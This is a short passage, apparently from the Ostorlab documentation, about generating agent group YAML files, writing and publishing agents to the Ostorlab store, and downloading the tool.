The builder also helps with generating the agent group YAML file to set special arguments that can be passed to agents to control their behavior.
Publish your first Agent To write your first agent, check out the full tutorial here (https://docs.ostorlab.co/tutorials/write-an-ostorlab-agent/). Once you have written your agent, you can publish it on the store for others to use and discover it. The store even handles agent building and will automatically pick up new releases from the git repo.
Download Ostorlab (https://github.com/Ostorlab/ostorlab)